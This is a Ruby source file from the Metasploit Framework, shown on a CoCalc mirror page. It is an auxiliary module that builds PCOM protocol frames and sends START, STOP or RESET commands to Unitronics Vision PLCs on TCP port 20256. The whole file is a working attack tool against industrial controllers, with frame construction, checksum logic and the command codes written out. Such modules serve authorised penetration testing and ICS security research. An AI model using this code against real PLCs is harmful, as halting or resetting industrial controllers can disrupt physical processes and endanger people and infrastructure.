CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/pcom_command.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Remote::Tcp
9
include Rex::Socket::Tcp
10
include Rex::Text
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Unitronics PCOM remote START/STOP/RESET command',
15
'Description' => %q{
16
Unitronics Vision PLCs allow remote administrative functions to control
17
the PLC using authenticated PCOM commands.
18
19
This module supports START, STOP and RESET operations.
20
},
21
'Author' =>
22
[
23
'Luis Rosa <lmrosa[at]dei.uc.pt>'
24
],
25
'License' => MSF_LICENSE,
26
'References' =>
27
[
28
[ 'URL', 'https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf' ]
29
],
30
))
31
32
register_options(
33
[
34
OptEnum.new('MODE', [true, 'PLC command', 'RESET', ['START', 'STOP', 'RESET']]),
35
Opt::RPORT(20256),
36
OptInt.new('UNITID', [ false, 'Unit ID (0 - 127)', 0]),
37
])
38
end
39
40
# compute and return the checksum of a PCOM ASCII message
41
def pcom_ascii_checksum(msg)
42
(msg.each_byte.inject(:+) % 256 ).to_s(16).upcase.rjust(2, '0')
43
end
44
45
# compute pcom length
46
def pcom_ascii_len(pcom_ascii)
47
Rex::Text.hex_to_raw(pcom_ascii.length.to_s(16).rjust(4,'0').unpack('H4H4').reverse.pack('H4H4'))
48
end
49
50
# return a pcom ascii formatted request
51
def pcom_ascii_request(command)
52
unit_id = datastore['UNITID'].to_s(16).rjust(2,'0')
53
# PCOM/ASCII
54
pcom_ascii_payload = "" +
55
"\x2f" + # '/'
56
unit_id +
57
command +
58
pcom_ascii_checksum(unit_id + command) + # checksum
59
"\x0d" # '\r'
60
61
# PCOM/TCP header
62
Rex::Text.rand_text_hex(2) + # transaction id
63
"\x65" + # ascii (101)
64
"\x00" + # reserved
65
pcom_ascii_len(pcom_ascii_payload) + # length
66
pcom_ascii_payload
67
end
68
69
def run
70
connect
71
case datastore['MODE']
72
when 'START'
73
print_status 'Sending START command'
74
ascii_code = "\x43\x43\x52" # CCR
75
when 'STOP'
76
print_status 'Sending STOP command'
77
ascii_code = "\x43\x43\x53" # CCS
78
when 'RESET'
79
print_status 'Sending RESET command'
80
ascii_code = "\x43\x43\x45" # CCE
81
else
82
print_error "Unknown MODE"
83
return
84
end
85
86
sock.put(pcom_ascii_request(ascii_code)) #
87
ans = sock.get_once
88
if ans.to_s[10,2] == 'CC'
89
print_status 'Command accepted'
90
end
91
disconnect
92
end
93
end
94
95